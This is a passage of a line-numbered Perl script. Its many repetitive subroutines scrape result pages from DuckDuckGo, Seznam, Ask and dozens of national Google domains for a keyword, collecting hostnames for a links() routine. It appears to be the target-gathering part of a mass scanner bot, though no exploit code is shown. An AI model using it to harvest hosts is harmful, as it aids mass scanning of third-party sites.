  1803. my $key = $_[0];
  1804. for (my $i=0; $i<=50; $i+=1){
  1805. my $search = ("https://duckduckgo.com/?q=".uri_escape($key)."&tab=0&page=".$i."&tabid=");
  1806. my $res = search_engine_query($search);
  1807. while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
  1808. my $link = $1;
  1809. if ($link !~ /quintura/){
  1810. my @grep = links($link);
  1811. push(@lst,@grep);
  1812. }
  1813. }
  1814. }
  1815. return @lst;
  1816. }
  1817.  
  1818. sub puting() {
  1819. my @list;
  1820. my $key = $_[0];
  1821. for ($b=1; $b<=1000; $b+=100) {
  1822. my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
  1823. my $res = search_engine_query($search);
  1824. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
  1825. if ($1 !~ /seznam/){
  1826. my $link = $1;
  1827. my @grep = links($link);
  1828. push(@list,@grep);
  1829. }
  1830. }
  1831. }
  1832. return @list;
  1833. }
  1834.  
  1835. sub vagina(){
  1836. my @list;
  1837. my $key = $_[0];
  1838. my $i = 0;
  1839. for ($i=0; $i<=100; $i+=1){
  1840. my $web=("http://startgoogle.startpagina.nl/index.php?q=".uri_escape($key)."&start=".$i."&origin=homepage&source=geentaal");
  1841. my $Res= search_engine_query($web);
  1842. while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1843. if ($1 !~ /pagina|pagina's/){
  1844. my $k=$1;
  1845. my @grep=links($k);
  1846. push(@list,@grep);
  1847. }
  1848. }
  1849. }
  1850. return @list;
  1851. }
  1852.  
  1853. sub penis(){
  1854. my @list;
  1855. my $key = $_[0];
  1856. for($b=1;$b<=1000;$b+=100){
  1857. my $Th=("http://www.google.pt/search?q=".uri_escape($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
  1858. my $Res=search_engine_query($Th);
  1859. while($Res =~ m/href=\"http:\/\/(.+?)\//g){
  1860. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
  1861. }
  1862. }
  1863. return @list;
  1864. }
  1865.  
  1866. sub memek() {
  1867. my @list;
  1868. my $key = $_[0];
  1869. for (my $i=1; $i<=50; $i+=1) {
  1870. my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
  1871. my $res = search_engine_query($search);
  1872. if ($res !~ /Successiva/) {$i=50;}
  1873. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
  1874. if ($1 !~ /ask\.com/){
  1875. my $link = $1;
  1876. my @grep = links($link);
  1877. push(@list,@grep);
  1878. }
  1879. }
  1880. }
  1881. return @list;
  1882. }
  1883. }
  1884. sub googleCA() {
  1885. my @list;
  1886. my $key = $_[0];
  1887. for (my $i=0; $i<=1000; $i+=30){
  1888. my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1889. my $res = &search_engine_query($search);
  1890. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1891. my $link = $1;
  1892. if ($link !~ /googleCA/){
  1893. my @grep = links($link);
  1894. push(@list,@grep);
  1895. }
  1896. }
  1897. }
  1898. return @list;
  1899. }
  1900.  
  1901. sub googleDE() {
  1902. my @list;
  1903. my $key = $_[0];
  1904. for (my $i=0; $i<=1000; $i+=30){
  1905. my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1906. my $res = &search_engine_query($search);
  1907. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1908. my $link = $1;
  1909. if ($link !~ /googleDE/){
  1910. my @grep = links($link);
  1911. push(@list,@grep);
  1912. }
  1913. }
  1914. }
  1915. return @list;
  1916. }
  1917.  
  1918. sub googleUK() {
  1919. my @list;
  1920. my $key = $_[0];
  1921. for (my $i=0; $i<=1000; $i+=30){
  1922. my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1923. my $res = &search_engine_query($search);
  1924. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1925. my $link = $1;
  1926. if ($link !~ /googleUK/){
  1927. my @grep = links($link);
  1928. push(@list,@grep);
  1929. }
  1930. }
  1931. }
  1932. return @list;
  1933. }
  1934.  
  1935. sub googleFR() {
  1936. my @list;
  1937. my $key = $_[0];
  1938. for (my $i=0; $i<=1000; $i+=30){
  1939. my $search = ("http://www.google.fr/search?q=".uri_escape($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1940. my $res = &search_engine_query($search);
  1941. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1942. my $link = $1;
  1943. if ($link !~ /googleFR/){
  1944. my @grep = links($link);
  1945. push(@list,@grep);
  1946. }
  1947. }
  1948. }
  1949. return @list;
  1950. }
  1951.  
  1952. sub googleES() {
  1953. my @list;
  1954. my $key = $_[0];
  1955. for (my $i=0; $i<=1000; $i+=30){
  1956. my $search = ("http://www.google.es/search?q=".uri_escape($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1957. my $res = &search_engine_query($search);
  1958. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1959. my $link = $1;
  1960. if ($link !~ /googleES/){
  1961. my @grep = links($link);
  1962. push(@list,@grep);
  1963. }
  1964. }
  1965. }
  1966. return @list;
  1967. }
  1968.  
  1969. sub googleIT() {
  1970. my @list;
  1971. my $key = $_[0];
  1972. for (my $i=0; $i<=1000; $i+=30){
  1973. my $search = ("http://www.google.it/search?q=".uri_escape($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1974. my $res = &search_engine_query($search);
  1975. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1976. my $link = $1;
  1977. if ($link !~ /googleIT/){
  1978. my @grep = links($link);
  1979. push(@list,@grep);
  1980. }
  1981. }
  1982. }
  1983. return @list;
  1984. }
  1985. sleep(1);
  1986. sub googleNL() {
  1987. my @list;
  1988. my $key = $_[0];
  1989. for (my $i=0; $i<=1000; $i+=30){
  1990. my $search = ("http://www.google.nl/search?q=".uri_escape($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  1991. my $res = &search_engine_query($search);
  1992. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  1993. my $link = $1;
  1994. if ($link !~ /googleNL/){
  1995. my @grep = links($link);
  1996. push(@list,@grep);
  1997. }
  1998. }
  1999. }
  2000. return @list;
  2001. }
  2002.  
  2003. sub googleBE() {
  2004. my @list;
  2005. my $key = $_[0];
  2006. for (my $i=0; $i<=1000; $i+=30){
  2007. my $search = ("http://www.google.be/search?q=".uri_escape($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2008. my $res = &search_engine_query($search);
  2009. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2010. my $link = $1;
  2011. if ($link !~ /googleBE/){
  2012. my @grep = links($link);
  2013. push(@list,@grep);
  2014. }
  2015. }
  2016. }
  2017. return @list;
  2018. }
  2019.  
  2020. sub googleCH() {
  2021. my @list;
  2022. my $key = $_[0];
  2023. for (my $i=0; $i<=1000; $i+=30){
  2024. my $search = ("http://www.google.ch/search?q=".uri_escape($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2025. my $res = &search_engine_query($search);
  2026. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2027. my $link = $1;
  2028. if ($link !~ /googleCH/){
  2029. my @grep = links($link);
  2030. push(@list,@grep);
  2031. }
  2032. }
  2033. }
  2034. return @list;
  2035. }
  2036. sleep(1);
  2037. sub googleSE() {
  2038. my @list;
  2039. my $key = $_[0];
  2040. for (my $i=0; $i<=1000; $i+=30){
  2041. my $search = ("http://www.google.se/search?q=".uri_escape($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2042. my $res = &search_engine_query($search);
  2043. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2044. my $link = $1;
  2045. if ($link !~ /googleSE/){
  2046. my @grep = links($link);
  2047. push(@list,@grep);
  2048. }
  2049. }
  2050. }
  2051. return @list;
  2052. }
  2053.  
  2054. sub googleDK() {
  2055. my @list;
  2056. my $key = $_[0];
  2057. for (my $i=0; $i<=1000; $i+=30){
  2058. my $search = ("http://www.google.dk/search?q=".uri_escape($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2059. my $res = &search_engine_query($search);
  2060. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2061. my $link = $1;
  2062. if ($link !~ /googleDK/){
  2063. my @grep = links($link);
  2064. push(@list,@grep);
  2065. }
  2066. }
  2067. }
  2068. return @list;
  2069. }
  2070.  
  2071. sub googleNO() {
  2072. my @list;
  2073. my $key = $_[0];
  2074. for (my $i=0; $i<=1000; $i+=30){
  2075. my $search = ("http://www.google.no/search?q=".uri_escape($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2076. my $res = &search_engine_query($search);
  2077. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2078. my $link = $1;
  2079. if ($link !~ /googleNO/){
  2080. my @grep = links($link);
  2081. push(@list,@grep);
  2082. }
  2083. }
  2084. }
  2085. return @list;
  2086. }
  2087. sleep(1);
  2088. sub googleNZ() {
  2089. my @list;
  2090. my $key = $_[0];
  2091. for (my $i=0; $i<=1000; $i+=30){
  2092. my $search = ("http://www.google.co.nz/search?q=".uri_escape($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2093. my $res = &search_engine_query($search);
  2094. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2095. my $link = $1;
  2096. if ($link !~ /googleNZ/){
  2097. my @grep = links($link);
  2098. push(@list,@grep);
  2099. }
  2100. }
  2101. }
  2102. return @list;
  2103. }
  2104.  
  2105. sub googleIE() {
  2106. my @list;
  2107. my $key = $_[0];
  2108. for (my $i=0; $i<=1000; $i+=30){
  2109. my $search = ("http://www.google.ie/search?q=".uri_escape($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2110. my $res = &search_engine_query($search);
  2111. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2112. my $link = $1;
  2113. if ($link !~ /googleIE/){
  2114. my @grep = links($link);
  2115. push(@list,@grep);
  2116. }
  2117. }
  2118. }
  2119. return @list;
  2120. }
  2121.  
  2122. sub googleBR() {
  2123. my @list;
  2124. my $key = $_[0];
  2125. for (my $i=0; $i<=1000; $i+=30){
  2126. my $search = ("http://www.google.com.br/search?q=".uri_escape($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2127. my $res = &search_engine_query($search);
  2128. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2129. my $link = $1;
  2130. if ($link !~ /google/){
  2131. my @grep = links($link);
  2132. push(@list,@grep);
  2133. }
  2134. }
  2135. }
  2136. return @list;
  2137. }
  2138. sleep(2);
  2139. sub googleAR() {
  2140. my @list;
  2141. my $key = $_[0];
  2142. for (my $i=0; $i<=1000; $i+=30){
  2143. my $search = ("http://www.google.com.ar/search?q=".uri_escape($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2144. my $res = &search_engine_query($search);
  2145. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2146. my $link = $1;
  2147. if ($link !~ /googleAR/){
  2148. my @grep = links($link);
  2149. push(@list,@grep);
  2150. }
  2151. }
  2152. }
  2153. return @list;
  2154. }
  2155.  
  2156. sub googleCO() {
  2157. my @list;
  2158. my $key = $_[0];
  2159. for (my $i=0; $i<=1000; $i+=30){
  2160. my $search = ("http://www.google.com.co/search?q=".uri_escape($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2161. my $res = &search_engine_query($search);
  2162. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2163. my $link = $1;
  2164. if ($link !~ /googleCO/){
  2165. my @grep = links($link);
  2166. push(@list,@grep);
  2167. }
  2168. }
  2169. }
  2170. return @list;
  2171. }
  2172.  
  2173. sub googleCU() {
  2174. my @list;
  2175. my $key = $_[0];
  2176. for (my $i=0; $i<=1000; $i+=30){
  2177. my $search = ("http://www.google.com.cu/search?q=".uri_escape($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2178. my $res = &search_engine_query($search);
  2179. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2180. my $link = $1;
  2181. if ($link !~ /googleCU/){
  2182. my @grep = links($link);
  2183. push(@list,@grep);
  2184. }
  2185. }
  2186. }
  2187. return @list;
  2188. }
  2189. sleep(2);
  2190. sub googleCL() {
  2191. my @list;
  2192. my $key = $_[0];
  2193. for (my $i=0; $i<=1000; $i+=30){
  2194. my $search = ("http://www.google.cl/search?q=".uri_escape($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2195. my $res = &search_engine_query($search);
  2196. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2197. my $link = $1;
  2198. if ($link !~ /googleCL/){
  2199. my @grep = links($link);
  2200. push(@list,@grep);
  2201. }
  2202. }
  2203. }
  2204. return @list;
  2205. }
  2206.  
  2207. sub googleMX() {
  2208. my @list;
  2209. my $key = $_[0];
  2210. for (my $i=0; $i<=1000; $i+=30){
  2211. my $search = ("http://www.google.com.mx/search?q=".uri_escape($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2212. my $res = &search_engine_query($search);
  2213. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2214. my $link = $1;
  2215. if ($link !~ /googleMX/){
  2216. my @grep = links($link);
  2217. push(@list,@grep);
  2218. }
  2219. }
  2220. }
  2221. return @list;
  2222. }
  2223.  
  2224. sub googleAU() {
  2225. my @list;
  2226. my $key = $_[0];
  2227. for (my $i=0; $i<=1000; $i+=30){
  2228. my $search = ("http://www.google.com.au/search?q=".uri_escape($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2229. my $res = &search_engine_query($search);
  2230. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2231. my $link = $1;
  2232. if ($link !~ /googleAU/){
  2233. my @grep = links($link);
  2234. push(@list,@grep);
  2235. }
  2236. }
  2237. }
  2238. return @list;
  2239. }
  2240. sleep(2);
  2241. sub googleRU() {
  2242. my @list;
  2243. my $key = $_[0];
  2244. for (my $i=0; $i<=1000; $i+=30){
  2245. my $search = ("http://www.google.com.ru/search?q=".uri_escape($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2246. my $res = &search_engine_query($search);
  2247. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2248. my $link = $1;
  2249. if ($link !~ /googleRU/){
  2250. my @grep = links($link);
  2251. push(@list,@grep);
  2252. }
  2253. }
  2254. }
  2255. return @list;
  2256. }
  2257.  
  2258. sub googleAT() {
  2259. my @list;
  2260. my $key = $_[0];
  2261. for (my $i=0; $i<=1000; $i+=30){
  2262. my $search = ("http://www.google.at/search?q=".uri_escape($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2263. my $res = &search_engine_query($search);
  2264. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2265. my $link = $1;
  2266. if ($link !~ /googleAT/){
  2267. my @grep = links($link);
  2268. push(@list,@grep);
  2269. }
  2270. }
  2271. }
  2272. return @list;
  2273. }
  2274.  
  2275. sub googlePL() {
  2276. my @list;
  2277. my $key = $_[0];
  2278. for (my $i=0; $i<=1000; $i+=30){
  2279. my $search = ("http://www.google.pl/search?q=".uri_escape($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2280. my $res = &search_engine_query($search);
  2281. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2282. my $link = $1;
  2283. if ($link !~ /googlePL/){
  2284. my @grep = links($link);
  2285. push(@list,@grep);
  2286. }
  2287. }
  2288. }
  2289. return @list;
  2290. }
  2291. sleep(3);
  2292. sub googleIL() {
  2293. my @list;
  2294. my $key = $_[0];
  2295. for (my $i=0; $i<=1000; $i+=30){
  2296. my $search = ("http://www.google.co.il/search?q=".uri_escape($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2297. my $res = &search_engine_query($search);
  2298. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2299. my $link = $1;
  2300. if ($link !~ /googleIL/){
  2301. my @grep = links($link);
  2302. push(@list,@grep);
  2303. }
  2304. }
  2305. }
  2306. return @list;
  2307. }
  2308.  
  2309. sub googleTR() {
  2310. my @list;
  2311. my $key = $_[0];
  2312. for (my $i=0; $i<=1000; $i+=30){
  2313. my $search = ("http://www.google.com.tr/search?q=".uri_escape($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2314. my $res = &search_engine_query($search);
  2315. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2316. my $link = $1;
  2317. if ($link !~ /googleTR/){
  2318. my @grep = links($link);
  2319. push(@list,@grep);
  2320. }
  2321. }
  2322. }
  2323. return @list;
  2324. }
  2325.  
  2326. sub googleUA() {
  2327. my @list;
  2328. my $key = $_[0];
  2329. for (my $i=0; $i<=1000; $i+=30){
  2330. my $search = ("http://www.google.com.ua/search?q=".uri_escape($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2331. my $res = &search_engine_query($search);
  2332. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2333. my $link = $1;
  2334. if ($link !~ /googleUA/){
  2335. my @grep = links($link);
  2336. push(@list,@grep);
  2337. }
  2338. }
  2339. }
  2340. return @list;
  2341. }
  2342. sleep(3);
  2343. sub googleGR() {
  2344. my @list;
  2345. my $key = $_[0];
  2346. for (my $i=0; $i<=1000; $i+=30){
  2347. my $search = ("http://www.google.gr/search?q=".uri_escape($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2348. my $res = &search_engine_query($search);
  2349. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2350. my $link = $1;
  2351. if ($link !~ /googleGR/){
  2352. my @grep = links($link);
  2353. push(@list,@grep);
  2354. }
  2355. }
  2356. }
  2357. return @list;
  2358. }
  2359.  
  2360. sub googleJP() {
  2361. my @list;
  2362. my $key = $_[0];
  2363. for (my $i=0; $i<=1000; $i+=30){
  2364. my $search = ("http://www.google.co.jp/search?q=".uri_escape($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2365. my $res = &search_engine_query($search);
  2366. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2367. my $link = $1;
  2368. if ($link !~ /googleJP/){
  2369. my @grep = links($link);
  2370. push(@list,@grep);
  2371. }
  2372. }
  2373. }
  2374. return @list;
  2375. }
  2376.  
  2377. sub googleCN() {
  2378. my @list;
  2379. my $key = $_[0];
  2380. for (my $i=0; $i<=1000; $i+=30){
  2381. my $search = ("http://www.google.cn/search?q=".uri_escape($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2382. my $res = &search_engine_query($search);
  2383. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2384. my $link = $1;
  2385. if ($link !~ /googleCN/){
  2386. my @grep = links($link);
  2387. push(@list,@grep);
  2388. }
  2389. }
  2390. }
  2391. return @list;
  2392. }
  2393. sleep(3);
  2394. sub googleMY() {
  2395. my @list;
  2396. my $key = $_[0];
  2397. for (my $i=0; $i<=1000; $i+=30){
  2398. my $search = ("http://www.google.com.my/search?q=".uri_escape($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2399. my $res = &search_engine_query($search);
  2400. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2401. my $link = $1;
  2402. if ($link !~ /googleMY/){
  2403. my @grep = links($link);
  2404. push(@list,@grep);
  2405. }
  2406. }
  2407. }
  2408. return @list;
  2409. }
  2410.  
  2411. sub googleTH() {
  2412. my @list;
  2413. my $key = $_[0];
  2414. for (my $i=0; $i<=1000; $i+=30){
  2415. my $search = ("http://www.google.co.th/search?q=".uri_escape($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2416. my $res = &search_engine_query($search);
  2417. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2418. my $link = $1;
  2419. if ($link !~ /googleTH/){
  2420. my @grep = links($link);
  2421. push(@list,@grep);
  2422. }
  2423. }
  2424. }
  2425. return @list;
  2426. }
  2427.  
  2428. sub googleIN() {
  2429. my @list;
  2430. my $key = $_[0];
  2431. for (my $i=0; $i<=1000; $i+=30){
  2432. my $search = ("http://www.google.co.in/search?q=".uri_escape($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2433. my $res = &search_engine_query($search);
  2434. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2435. my $link = $1;
  2436. if ($link !~ /googleIN/){
  2437. my @grep = links($link);
  2438. push(@list,@grep);
  2439. }
  2440. }
  2441. }
  2442. return @list;
  2443. }
  2444. sleep(3);
  2445. sub googleKR() {
  2446. my @list;
  2447. my $key = $_[0];
  2448. for (my $i=0; $i<=1000; $i+=30){
  2449. my $search = ("http://www.google.co.kr/search?q=".uri_escape($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2450. my $res = &search_engine_query($search);
  2451. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2452. my $link = $1;
  2453. if ($link !~ /googleKR/){
  2454. my @grep = links($link);
  2455. push(@list,@grep);
  2456. }
  2457. }
  2458. }
  2459. return @list;
  2460. }
  2461.  
  2462. sub googleRO() {
  2463. my @list;
  2464. my $key = $_[0];
  2465. for (my $i=0; $i<=1000; $i+=30){
  2466. my $search = ("http://www.google.ro/search?q=".uri_escape($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2467. my $res = &search_engine_query($search);
  2468. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2469. my $link = $1;
  2470. if ($link !~ /googleRO/){
  2471. my @grep = links($link);
  2472. push(@list,@grep);
  2473. }
  2474. }
  2475. }
  2476. return @list;
  2477. }
  2478.  
  2479. sub googleTW() {
  2480. my @list;
  2481. my $key = $_[0];
  2482. for (my $i=0; $i<=1000; $i+=30){
  2483. my $search = ("http://www.google.com.tw/search?q=".uri_escape($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2484. my $res = &search_engine_query($search);
  2485. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2486. my $link = $1;
  2487. if ($link !~ /googleTW/){
  2488. my @grep = links($link);
  2489. push(@list,@grep);
  2490. }
  2491. }
  2492. }
  2493. return @list;
  2494. }
  2495. sleep(3);
  2496. sub googleZA() {
  2497. my @list;
  2498. my $key = $_[0];
  2499. for (my $i=0; $i<=1000; $i+=30){
  2500. my $search = ("http://www.google.co.za/search?q=".uri_escape($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2501. my $res = &search_engine_query($search);
  2502. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2503. my $link = $1;
  2504. if ($link !~ /googleZA/){
  2505. my @grep = links($link);
  2506. push(@list,@grep);
  2507. }
  2508. }
  2509. }
  2510. return @list;
  2511. }
  2512.  
  2513. sub googlePT() {
  2514. my @list;
  2515. my $key = $_[0];
  2516. for (my $i=0; $i<=1000; $i+=30){
  2517. my $search = ("http://www.google.pt/search?q=".uri_escape($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2518. my $res = &search_engine_query($search);
  2519. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2520. my $link = $1;
  2521. if ($link !~ /googlePT/){
  2522. my @grep = links($link);
  2523. push(@list,@grep);
  2524. }
  2525. }
  2526. }
  2527. return @list;
  2528. }
  2529.  
  2530. sub ask() {
  2531. my @list;
  2532. my $key = $_[0];
  2533. for (my $i=1; $i<=1000; $i+=30) {
  2534. my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  2535. my $res = &search_engine_query($search);
  2536. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2537. my $link = $1;
  2538. if ($link !~ /ask\.com/){
  2539. my @grep = &links($link);
  2540. push(@list,@grep);
  2541. }
  2542. }
  2543. }
  2544. return @list;
  2545. }
  2546.  
  2547. sub askCA() {
  2548. my @list;
  2549. my $key = $_[0];
  2550. for (my $i=1; $i<=500; $i+=30) {
  2551. my $search = ("http://ca.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2552. my $res = &search_engine_query($search);
  2553. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2554. my $link = $1;
  2555. if ($link !~ /askCA\.com/){
  2556. my @grep = links($link);
  2557. push(@list,@grep);
  2558. }
  2559. }
  2560. }
  2561. return @list;
  2562. }
  2563. sleep(4);
  2564. sub askDE() {
  2565. my @list;
  2566. my $key = $_[0];
  2567. for (my $i=1; $i<=500; $i+=30) {
  2568. my $search = ("http://de.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2569. my $res = &search_engine_query($search);
  2570. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2571. my $link = $1;
  2572. if ($link !~ /askDE\.com/){
  2573. my @grep = links($link);
  2574. push(@list,@grep);
  2575. }
  2576. }
  2577. }
  2578. return @list;
  2579. }
  2580.  
  2581. sub askIT() {
  2582. my @list;
  2583. my $key = $_[0];
  2584. for (my $i=1; $i<=500; $i+=30) {
  2585. my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2586. my $res = &search_engine_query($search);
  2587. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2588. my $link = $1;
  2589. if ($link !~ /askIT\.com/){
  2590. my @grep = links($link);
  2591. push(@list,@grep);
  2592. }
  2593. }
  2594. }
  2595. return @list;
  2596. }
  2597.  
  2598. sub askUK() {
  2599. my @list;
  2600. my $key = $_[0];
  2601. for (my $i=1; $i<=500; $i+=30) {
  2602. my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2603. my $res = &search_engine_query($search);
  2604. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2605. my $link = $1;
  2606. if ($link !~ /askUK\.com/){
  2607. my @grep = links($link);
  2608. push(@list,@grep);
  2609. }
  2610. }
  2611. }
  2612. return @list;
  2613. }
  2614.  
  2615. sub askFR() {
  2616. my @list;
  2617. my $key = $_[0];
  2618. for (my $i=1; $i<=500; $i+=30) {
  2619. my $search = ("http://fr.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2620. my $res = &search_engine_query($search);
  2621. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2622. my $link = $1;
  2623. if ($link !~ /askFR\.com/){
  2624. my @grep = links($link);
  2625. push(@list,@grep);
  2626. }
  2627. }
  2628. }
  2629. return @list;
  2630. }
  2631.  
  2632. sub askES() {
  2633. my @list;
  2634. my $key = $_[0];
  2635. for (my $i=1; $i<=500; $i+=30) {
  2636. my $search = ("http://es.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2637. my $res = &search_engine_query($search);
  2638. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2639. my $link = $1;
  2640. if ($link !~ /askES\.com/){
  2641. my @grep = links($link);
